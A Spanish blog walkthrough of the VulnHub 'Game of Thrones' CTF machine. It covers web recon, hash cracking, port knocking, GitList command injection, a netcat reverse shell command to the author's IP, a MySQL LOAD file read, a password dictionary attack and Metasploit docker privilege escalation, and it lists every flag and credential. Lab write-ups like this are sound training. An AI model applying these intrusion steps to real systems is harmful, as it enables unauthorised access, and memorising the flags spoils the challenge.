CTF: Juego de tronos

En este post voy a realizar una prueba de concepto sobre cómo hacer un CTF de una máquina. Este post va a ser más largo que el resto, porque el CTF es largo y he preferido juntarlo todo en un solo post a publicar varios y que quede troceado.

He escogido la de Juego de Tronos para empezar porque me han hablado muy bien de ella, y porque es una máquina publicada en vulnhub, una plataforma parecida a Hack The Box. Esta máquina tiene un writteup (una solución) público, por lo que mostrar paso a paso cómo hacerla no es spoiler. No obstante, te recomiendo que te la bajes, y la intentes hacer tú mismo a medida que leas el post.

Lo primero que hay que hacer es descargarnos la máquina virtual, bien desde vulnhub o desde el propio git de OscarAkaElvis, y correrla. A diferencia de Hack The Box, en vulnhub hay que descargar cada máquina. Esto tiene sus pros y sus contras: nadie te va a molestar con un reseteo de la máquina mientras trabajas, pero es más incómodo y menos dinámico, y necesitas un ordenador que te permita tener dos máquinas virtuales corriendo a la vez. 

Tal y como indica en la descripción de la máquina, el objetivo es obtener los flags de los 7 reinos, 3 secretos y uno final. Las pistas iniciales que indica en la descripción son que debemos encontrar el mapa para seguir correctamente el orden natural en el que debemos capturar los flags, que debemos leer muy cuidadosamente todas las pistas, y que no está permitida la fuerza bruta. Los flags son cadenas de 32 caracteres. Ah, y se supone que no tenemos acceso físico a la máquina, ¡así que no vale hacer trampas!

Al iniciar la máquina, esto es lo primero que nos encontramos:

Voy a realizar un escaneo desde mi Parrot (si quieres saber por qué Parrot, visita este post) para ver que me muestra. He configurado ambas máquinas virtuales en modo bridge host-only, empleando virtualbox. Nmap me arrojó la siguiente información:

Tiene el puerto 80 activo, así que tendrá una web. Vamos a comprobarlo.

¡Efectivamente! Aparece esta imagen con la música de inicio de Juego de Tronos de fondo. Inspeccionando el código fuente, encontramos las primeras pistas:

Pista 1: “Todo puede ser ETIQUETADO en este mundo, incluso la magia o la música”, cita de Ser Bronn del Aguasnegras.

Pista 2: “Para entrar en Dorne hay que ser amable”, cita de Ellaria Arena.

Por la primera pista, y porque hay partes del audio que está sonando en la página web que se escuchan distorsionadas, diría que la clave está en el archivo de música. Quizá debamos realizar alguna técnica de esteganografía para encontrar algún archivo oculto en la canción.

Por otro lado, en /robots.txt he encontrado dos URLs interesantes:

En /secret-island/ encontramos el mapa al que se hacía referencia en la descripción:

¡Parece que ya sabemos el orden de flags que debemos seguir! No obstante, acabemos de ver el resto de URLs que mostraba robots.txt.

En /direct-access-to-king-landing/, parece que hay un Try_H4rd3r:

 

De nuevo referencias a la música. Veamos el último enlace y nos ponemos con el archivo de audio. Entrando en /the-tree/, encuentro lo siguiente:

Un meme diciendo “Has fallado, el cuervo de tres ojos no te recibirá”. Si miramos el código fuente, vemos que en el texto se esconde un secreto: USERAGENT. En robots.txt, nos indicaba un user agent concreto, Three-eyed-raven. Así que voy a interceptar la petición con Burp y voy a cambiar el user agent, a ver si así me muestra otro contenido:

Efectivamente, un nuevo meme ha aparecido: el cuervo de tres ojos. Mirando el código fuente, vemos que nos ofrece tres pistas:

  • Para entrar en Dorne debes identificarte como oberynmartell. Debes encontrar la contraseña.
  • 3487 64535 12345. Recuerda esos números, los necesitarás para usarlos con gente EDUCADA. Sabrás cuando usarlos.
  • Los salvajes nunca cruzaron el muro. Por ello debes buscarlos antes de cruzar el muro.

Parece que ya tenemos un usuario. El resto, aun no estamos preparados para entenderlo. Por otro lado, en el javascript que reproduce la música encontramos lo siguiente:

 

“Nunca entrarás en la Tierra del Rey cruzando las puertas principales. La reina ordenó cerrarlas permanentemente hasta que acabase la guerra” – Tywin Lannister.

“Si pones una ciudad bajo asedio, después de cinco ataques serás baneado dos minutos” – Aegon el Conquistador y Su Libro de la Conquista de Westeros.

Esto parece indicar que cualquier ataque que intentemos por fuerza bruta nos baneará al quinto intento durante dos minutos.

 

Investiguemos el tema de la música. Hay un .wav y un .mp3. Veamos el .wav.

Parece que el archivo de audio  contiene algún tipo de MySQL. sin embargo, no podemos extraerlo con binwalk. Probablemente haya que hacerlo con steghide, utilizando alguna contraseña.

Sin embargo, al hacer un strings al archivo mp3, obtenemos lo siguiente al final del mismo:

Ya tenemos uno de los flags secretos: el flag de los salvajes! 8bf8854be… Pero espera, al principio nos dijeron que los flags serían cadenas de 32 caracteres. Si miramos en las propiedades del archivo, encontramos que el flag en realidad es 8bf8854bebe108183caeb845c7676ae4. ¡Casi nos la cuelan!

Siguiendo con la web, en el sitemap.xml he encontrado otra url, /raven.php, y al entrar he encontrado lo siguiente:

 

Has recibido un cuervo con el siguiente mensaje: “Para pasar el muro, el hechizo mcrypt te ayudará. No importa quien seas, solo necesitas la llave para abrir la puerta” – Anónimo.

Por último he realizado una enumeración de directorios utilizando dirb, para ver si me había dejado algo. Y encontré que había esta URL: /h/i/d/d/e/n/index.php que contenía lo siguiente:

 

Mis pajaritos están por todos lados. Para entrar en Dorne debes decir: A_verySmallManCanCastAVeryLargeShad0w . Ahora, me debes una” – Lord Varys (La Araña).

“Se han lanzado poderosos hechizos docker sobre todos los reinos. ¡Debemos tener cuidado! No puedes viajar directamente desde uno hasta otro… Normalmente. Esto es lo que el Señor de la Luz me ha enseñado” – Mellisandre La Mujer Roja.

¡Ya tenemos la contraseña! Así que ya podemos acceder al reino de Dorne, pues tenemos usuario y password. Como salía en el mapa, el reino de Dorne es el de ftp, por lo que voy a intentar conectarme utilizando este servicio.

¡Ya tenemos la flag de Dorne! Es fb8d98be1265dd88bac522e1b2182140.

 Hemos conquistado el primer reino, ahora vamos a por invernalia: El Muro y El Norte.

Vamos a ver que encuentro en este servicio. Al listar los documentos disponibles, me han aparecido 2:

El archivo problems_in_the_north.txt contiene lo siguiente:

“Hay problemas en el norte. Debemos viajar rápidamente. Una vez allí debemos defender el muro.” – Jon Nieve.

“Qué tipo de magia es esta?!? Nunca había visto este tipo de papiro. Vamos a comprobarlo cuidadosamente” – Maestro Aemon Targaryen

El archivo concluye con un texto cifrado:

md5(md5($s).$p)

nobody:6000e084bf18c302eae4559d48cb520c$2hY68a

Segun indica el archivo, el hash está en el formato md5(md5($salt).$password), por lo que debemos buscar este modo en hashcat y descifrarlo por fuerza bruta. Sin embargo, en hashcat no está este modo. Si que está el modo 20 que hace md5($salt.$password), así que se me ocurrió hacer primero el md5 de 2hY68a y después utilizar hashcat. Cabe destacar que en hashcat hay que utilizar dos puntos como separador, y en el txt venía separado por un $. 

En resumen, he colocado en hash.txt lo siguiente: 

6000e084bf18c302eae4559d48cb520c:0cbb5be2c4504bed573802efbd909965

Donde 0cbb5be2c4504bed573802efbd909965 es md5(2hY68a).

Después he utilizado el comando:

hashcat -a 0 -m 20 hash.txt /usr/share/wordlists/rockyou.txt --force --outfile=result.txt

En result .txt he obtenido lo siguiente: 

6000e084bf18c302eae4559d48cb520c:0cbb5be2c4504bed573802efbd909965:stark

El segundo archivo, the_wall.txt.nc, contiene datos cifrados. Al hacer un file, vemos que está cifrado con rijndael-128 con clave de 32 bytes en modo cbc. Esta es la forma de codificación que tiene el AES.

Anteriormente nos dieron una pista: utilizar mcrypt. La password apuesto a que es stark.

 

“Hemos defendido el muro. Gracias por tu ayuda. Ahora puedes ir a recuperar Invernalia” – Jeor Mormont, Lord Comandante de la Guardia de la Noche.

“Te escribiré en el mapa la ruta para ir más rápido a Invernalia. Algun día seré un gran maestre” – Samwell Tarly.

Nos han dado una web, un usuario y una contraseña. Adentremonos en Invernalia.

Si intentamos acceder a la web, no podremos, porque ese dominio no está en los DNS. Si ponemos en la IP de la maquina virtual la URL /——W1nt3rf3ll——– , nos indican que no vamos por la dirección correcta:

Tenemos que decirle a nuestro PC que relacione el dominio con la IP. Para ello, abrimos el fichero hosts y añadimos una nueva línea con la IP de la máquina virtual seguida de winterfell.7kingdoms.ctf. Después, ya podremos acceder, y nos pedirá el usuario y contraseña

¡Ya tenemos el flag del segundo reino, el Reino del Norte! Según nos cuentan, debemos hacer algo antes de ir a las Islas del Hierro. Habla de la magia del escudo, refiriendose a la imagen del escudo de los stark que hay debajo del meme. Voy a probar a descargarla, a ver si encuentro algo.

Efectivamente, al hacer un strings de la imagen ha aparecido un mensaje: “Timef03conqu3rs TeXT debe ser preguntado para entrar en la fortaleza de las Islas del Hierro” – Theon Greyjoy.

Cabe destacar que por alguna extraña razón no he podido descargar la foto desde el navegador, así que he empleado wget.

Por las dos cadenas del inicio del strings (%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz) seguro que el archivo contiene información oculta.

Binwalk me muestra que contiene rutas de unix extrañas.

De momento, tengo lo necesario para continuar. Dado que según el mapa las islas de hierro son un ctf de dns, quiza debamos realizar alguna petición.  “Timef0r3conqu3rs TeXT” quiza sea lo que debamos pedir.

Investigando un poco en google, he visto que comandos podía utilizar para hacer una query a un dns. He probado un poco y he encontrado este comando:

Parece que estamos muy cerca. El mensaje que da es:

“Si tratas de entrar usando fuerza bruta, fallarás. Solo debes hacer la pregunta correcta.” – Yara Greyjoy.

“Esta es la fortaleza Pyke de las Islas del Hierro. Nosotros somos hijos del hierro. No somos sujetos, no somos esclavos. No aramos el campo o minamos. Nosotros tomamos lo que es nuestro. Lo que está muerto no debe morir”.

Tenemos que poner el texto correcto, Timef0r3conqu3rs.

¡Ya somos hijos del hierro! La flag es 5e93de3efa544e85dcd6311732d28f95. Ahora debemos entrar en Tierra de la Tormenta en http://stormlands.7kingdoms.ctf:10000 con el usuario aryastark y la contraseña N3ddl3_1s_a_g00d_sword#!.

Tenemos que añadir a hosts este subdominio, como hicimos anteriormente y accedemos al panel de administración:

Al registrarnos, accedemos a webmin.

Probé a buscar una letra en el buscador, y me encontré varios documentos del módulo File Manager.

Sin embargo, al intentar acceder al mismo, me saltaba un mensaje diciendo que debía utilizar un navegador que aceptase Java. Hoy en día ya ningún navegador lo acepta, así que tuve que investigar durante bastante tiempo hasta que encontré el navegador “Pale Moon”, que me permitía visualizar el panel de control.

Y allí me encontre el flag de Stormlands:

En él me indica que el flag es 8fc42c6ddf9966db3b09e84365034357, y que a continuación debía acceder a la Montaña y el Valle, con las credenciales robinarryn/cr0wn_f0r_a_King-_ en la base de datos mountainandthevale.

Además, nos avisa que debemos acceder por línea de comandos, no vale utilizar programas como pgAdmin.

Metemos las credenciales y accedemos. Al listar las tablas con \dt, encontramos lo siguiente:

En braavos_book encontramos varias frases, y la última parece estar cifrada. Por el aspecto, parece que se ha utilizado un cifrado cesar, que consiste en rotar todas las letras de la frase un número determinado:

Utilizando cyberchef, una herramienta online muy potente y gratuita, encontramos lo siguiente:

“El dios de muchas caras quiere que cambies tu cara. Él espera de ti que te identifiques como alguien de tu lista de gente a la que matar. Elíge a la víctima en función del número de página que falta en este libro. La base de datos a la que conectarte es “braavos” y la contraseña es “ValarMorghulis”.

Si volvemos a revisar el braavos_book, vemos que del 4 pasa al 6. Accedemos ahora a la tabla “aryas_kill_list” (lista de gente a la que matar de Arya) y vemos que el número 5 es “TheRedWomanMelisandre”:

Si accedemos a la base de datos “braavos” con el usuario “TheRedWomanMelisandre” y la contraseña “ValarMorghulis“, encontramos el segundo flag secreto en la tabla “temple_of_the_faceless_men

Si volvemos a la otra base de datos, a mountainandthevale, encontramos que  escribiendo \d hay una tabla llamada “flag“, pero si intentamos acceder a ella, nos indica que no tenemos privilegios suficientes.

Intentemos ganar privilegios.Para ello hay que usar GRANT.

El mensaje “GRANT” nos indica que hemos obtenido privilegios con éxito. Dentro de la tabla flag encontramos un texto codificado. Como termina en ==, seguramente esté codificado en base 64:

¡Conseguido! El mensaje dice: “Genial! Has conquistado el Reino de la Montaña y el Valle. Este es tu flag: bb3aec0fdcdbc2974890f805c585d432. La siguiente parada es el Reino de Alcance. Puedes identificarte con las credenciales: olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah, pero primero debes ser capaz de abrir las puertas”.

Hemos visto en varias pistas distintas que hay que “llamar a la puerta” en el reino de la gente “educada”. Por la serie, tengo claro que es este el reino al que se refiere. Y con llamar a la puerta es probable que se refiera a hacer Portknocking

El portknocking consiste en que para poder acceder a un puerto, hay que acceder previamente a una determinada secuencia de puertos para que se desbloquee.

Anteriormente recibí una secuencia de números que no tenía claro que podía ser. Esta era “3487 64535 12345”.  Quizá sean los 3 puertos a los que hay que “llamar” antes de entrar al que nos interesa (que, mirando el mapa, debe ser el 143, puesto que el siguiente reino es del servicio “IMAP”).

Para realizar el portknocking basta con ejecutar en secuencia “telnet XXXXX” donde XXXX es el puerto, sin embargo lo intenté un par de veces así y no me funcionó, por lo que probé a descargarme un script que lo hacía automáticamente, y tras ejecutarlo ya sí que conseguí desbloquear el puerto 143:

Entrando mediante telnet o netcat, nos encontramos un servidor IMAP. Investigué un poco en internet y encontré algunos comandos para lanzar peticiones a este servicio.

Finalmente, encontré que había un mensaje nuevo en la bandeja INBOX, y al abrirlo estaba la flag.

“¡¡Felicidades!! Has conquistado el Reino de Alcance. Esta es la flag: aee750c2009723355e2ac57564f9c3db. Ahora puedes ir al siguiente reino (La Roca, puerto 1337) usando estas credenciales: TywinLannister/LannisterN3verDie!”

Al conectarnos, encontramos una gitList:

 

La única cosa interesante que parece haber es la “nota bajo la cama” que tiene una secuencia de números y letras de la A a la F, lo que me hace pensar que es hexadecimal.

Si la traducimos con cyberchef, obtenemos lo siguiente:

Parece ser una ruta que debemos introducir en una terminal. 

Investigué en internet sobre exploits de GitList, y resulta que tenía un exploit que permitía ejecutar comandos. Bastaba con escribir “”‘ls` al final de la ruta para que te listase lo que había en ese directorio (HEAD branches config description hooks Info note_under_the_bed.md objects refs).

Probé a poner la ruta que había descubierto previamente, y al hacer un cat, un mensaje decía “Bienvenido a (ascii). Estas muy cerca de obtener el flag. No está aquí, está en la Tierra del Rey. Tenemos que viajar allí desde aquí! Las credenciales para acceder a la Tierra del Rey son cerseilannister/_g0dsHaveNoMercy_ la base de datos es “kingslanding“.

Por el mapa sabemos que la base de datos es mysql. Introduje el comando “show tables” y me mostró que había una llamada “Iron_throne“.

Ejecuté el comando “select * from Iron_throne” y obtuve un mensaje en código morse. Además, un mensaje decía “tienes algunos privilegios en este reino. Úsalos sabiamente”.

Al traducir el código morse, decía “/etc/mysql/flag“.

Dado que era muy engorroso estar haciendo todas las peticiones mediante el navegador, y que podía ejecutar en la máquina cualquier comando, decidí emplear netcat para abrir una reverse shell. 

En primer lugar, ejecuté en el navegador el comando “nc 192.168.101.3 4444 –e /bin/bash” para lanzar una terminal en la ip de mi parrot. Después, en mi parrot ejecuté el comando “nc -lvp 4444” para conectarme a ella.

Ahora mucho más cómodo. Haciendo un cat de /etc/mysql/flag no encontré nada. Seguí explorando con la terminal pero no encontré absolutamente nada.

La verdad es que el siguiente paso me ha llevado bastante tiempo. De hecho, lo he conseguido a base de probar cientos de ideas felices, hasta que una no ha funcionado. Al parecer, según las pistas, no puedo acceder a la flag porque no tengo privilegios suficientes. Bien, pues lo que se me ocurrió fue crear una tabla (siendo el owner yo, tendría privilegios sobre la misma) y cargar la ruta del flag en esa tabla mediante el comando LOAD de mysql.

Las tres sentencias necesarias para realizar esto son:

Conseguido! El texto dice “Enhorabuena. Has conquistado el último flag de los reinos. Este es tu flag: c8d46d341bea4fd5bff866a65ff8aea9. Ahora debes encontrar la mina de Vidriagón para forjar armas más fuertes. Crecenciales ssh: daenerystargaryen-.Dracarys4thewin. ” (a mi me ha salido el texto repetido porque debí ejecutar dos veces el comando LOAD :_D)

Me he conectado por ssh y lo primero que ha aparecido al hacer un ls han sido dos archivos, checkpoint.txt y digger.txt:

El checkpoint.txt dice:

“Vidriagon. Fuego helado, en el viejo lenguaje valyrio.  No es de extrañar que esto sea un anatema para esos niños fríos del Otro” – Melisandre la Mujer Roja.

“Grandes cantidades de Vidriagon pueden encontrarse en la mina de Vidriagón (172.25.0.2). Solo se puede acceder a la mina desde aquí. Estamos muy cerca… La regla de “Fail2ban” no está presente allí, quizá nosotrso podamos alcanzar la “raiz” del problema pivotando desde fuera para usar esta excavadora” – Samwell Tarly.

“A los Caminantes Blancos no les importa si un hombre es libre o cuervo. Nosotrossomos todos lo mismo para ellos, comida para su ejército. Pero juntos, podemos combatirles” – Jon Snow.

El archivo digger.txt contiene lo que parece ser un diccionario de contraseñas, así que voy a probar si puedo hacerme root realizando un ataque por diccionario.

Dado que no había instalado ninguno de los programas típicos con los que hacer un ataque de fuerza bruta, y que el diccionario no tenía una longitud muy grande, decidí hacerme un pequeño script en python que fuera probando con las distintas passwords, y en unos pocos minutos hayé la contraseña: Dr4g0nGl4ss!

El último flag secreto, y con este ya los tenemos todos! El texto dice: “Felicidades. Has encontrado el flag secreto de la mina de Vidriagon. Este es tu flag: a8db1d82db78ed452ba0882fb9554fc9. Ahora tienes las armas de Vidriagon para luchar contra los Caminantes Blancos. Host ssh: branstark/Th3_Thr33_Ey3d_Raven”

Antes de ir a las minas de Vidriagon, me fijé que en el directorio home donde estaba el checkpoint y el digger había una carpeta para el usuario branstark. Ahora podremos acceder.

La batalla final consiste en escalar privilegios para ser root. Tras investigar un rato, buscar qué versión de linux era, comprobar exploits para esa versión, comprobar si había algún archivo oculto, etc., tuve la idea de investigar en metasploit a ver si encontraba algo relacionado con la escalada de privilegios en docker.

En primer lugar inicié sesión por ssh en metasploit:

Al tratar de ejecutar el exploit docker_daemon_privilege_escalation no me funcionaba, metasploit no conseguía ejecutar el script que creaba. Así que tuve que probar en otra máquina virtual y ya funcionó. Cosas de metasploit…

Una vez accedí, tenía privilegios de root, con lo que podía acceder a la carpeta de root. En ella había un archivo checkpoint.txt y un archivo final_battle:

El archivo final_battle es un zip cifrado (lo podemos ver al hacer un “file final_battle”), y parece ser que la contraseña es una rara combinación de tres de las flags que hemos ido consiguiendo:

concat(substr(secret_flag1, strlen(secret_flag1) – 10, strlen(secret_flag1)), substr(secret_flag2, strlen(secret_flag2) – 10, strlen(secret_flag2)), substr(secret_flag3, strlen(secret_flag3) – 10, strlen(secret_flag3)))

Habrá que implementar un script que haga esto. Python es nuestro amigo:

“Has ganado la batalla contra los Caminantes Blancos. ¡¡¡Te has apropiado del CTF de Juego de Tronos!!! Ahora los siete reinos pueden descansar en paz por largo tiempo dirigidos por un verdadero rey/reina. Felicidades y espero que hayas disfrutado de la experiencia tanto como yo he disfrutado creándola! Diseñado por Oscar Alfonso (OskarAkaElvis o V1s1t0r).”

CTF terminado! La frase final al descifrar los MD5 de las flags dice “Congratulations, you pwned the Seven Kingdoms Game of Thrones CTF. AWESOME” (“Felicidades, has dominado los siete reinos del CTF de Juego de Tronos. Maravilloso!”)

 

Ha sido un CTF muy divertido, y aunque al principio era sencillo, se fue complicando poco a poco. Ante todo, ha sido muy instructivo y he aprendido bastantes cosas gracias a este reto de OscarAkaElvis.

Próximamente haré más walkthroughs como este.

Lethani.

Esta entrada tiene un comentario

Deja una respuesta